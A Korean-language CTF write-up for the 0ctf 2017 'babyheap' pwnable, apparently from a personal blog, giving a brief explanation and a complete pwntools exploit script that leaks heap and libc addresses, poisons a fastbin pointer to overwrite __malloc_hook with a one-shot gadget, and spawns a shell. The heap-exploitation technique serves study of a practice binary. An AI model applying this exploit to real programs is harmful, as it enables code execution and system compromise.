[0ctf 2017] babyheap
2018. 10. 20. 01:36
풀었습니다!
fastbin fd를 덮어서 이리저리 조작...
0x70 사이즈의 fastbin fd를 __malloc_hook의 주소로 덮어서 새로운 청크를 할당하여 그곳을 oneshot으로 덮어 쉘을 얻었습니다.
참고로 __malloc_hook은 사용자가 hook함수를 등록해놓았을 때, malloc 호출시 실행되는 함수로 보통 디버깅용도로 사용된다고합니다.
그래서 __malloc_hook 을 덮으면 malloc시에 원하는 함수를 실행시킬수 있습니다.
사실 타 라이트업이 굉장히 많기도해서 설명은 생략하고... 코드의 주석으로 대체!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | from pwn import * conn = process("./0ctfbabyheap") def Allocate(size): conn.recvuntil("Command: ") conn.sendline("1") conn.recvuntil("Size: ") conn.sendline(str(size)) def Fill(idx, size, content): conn.recvuntil("Command: ") conn.sendline("2") conn.recvuntil("Index: ") conn.sendline(str(idx)) conn.recvuntil("Size: ") conn.sendline(str(size)) conn.recvuntil("Content: ") conn.send(content) def Free(idx): conn.recvuntil("Command: ") conn.sendline("3") conn.recvuntil("Index: ") conn.sendline(str(idx)) def Dump(idx): conn.recvuntil("Command: ") conn.sendline("4") conn.recvuntil("Index: ") conn.sendline(str(idx)) Allocate(10) Allocate(10) Allocate(10) Allocate(10) Allocate(128) Allocate(0x60) Allocate(0x60) Allocate(0x60) # stage1. fake chunk size 0x41 (idx:1) # leak heap_address payload = p64(0)*3 payload += p64(0x41) Fill(0, len(payload), payload) Free(1) # free idx:1 conn.sendline("c") Allocate(48) # reallocate idx:1 size is 0x21 -> 0x41 payload = p64(0)*3 payload += p64(0x21) ## calloc! so.. Recover idx 3 chunk Fill(1, len(payload), payload) Free(3) # 3 conn.sendline("c") Free(2) # 2 conn.sendline("c") # leak heap_addr Fill(1, 0x20, "A"*0x20) Dump(1) conn.recvuntil("A"*0x20) heap_addr = u64(conn.recv(6)+"\x00"*2)-0x60 log.info("heap_addr : "+hex(heap_addr)); # fastbin fd_overwrite payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p64(heap_addr+0x80) # smallbin chunk address Fill(0, len(payload), payload) Allocate(10) # idx 2 payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) # smallbin chunk size -> overwrite fastbin size Fill(2, len(payload), payload) Allocate(10) # idx 3 allocate fastbin(but this is smallbin chunk) # Recover smallbin_size payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x91) Fill(2, len(payload), payload) Free(4) conn.sendline("c") # leak Library Address Dump(3) conn.recvuntil("Content: \n") libc_addr = u64(conn.recv(6)+"\x00"*2) - 0x3c27b8 log.info("libc_addr : "+hex(libc_addr)) malloc_hook = libc_addr + 0x3c2740 oneshot = libc_addr + 0x4647c #0x4647c 0xe9415 0xea36d log.info("malloc_hook : "+hex(malloc_hook)) log.info("oneshot : "+hex(oneshot)) ## overwrite fd Free(7) conn.sendline("c") Free(6) conn.sendline("c") payload = p64(0)*13 payload += p64(0x71) payload += p64(malloc_hook-0x13) Fill(5, len(payload), payload) Allocate(0x60) # idx 4 Allocate(0x60) # idx 6 ## overwrite malloc_hook -> oneshot payload = "\x00"*0x3 payload += p64(oneshot) Fill(6, len(payload), payload) Allocate(0x1) # idx 4 conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
---|---|
[Insomni'hack 2019] onewrite writeup (0) | 2019.01.21 |
[9447 CTF 2015] Search Engine (1) | 2018.09.30 |
[noxCTF] The Black Canary writeup (0) | 2018.09.13 |
[PlaidCTF] ropasaurusrex (0) | 2018.08.27 |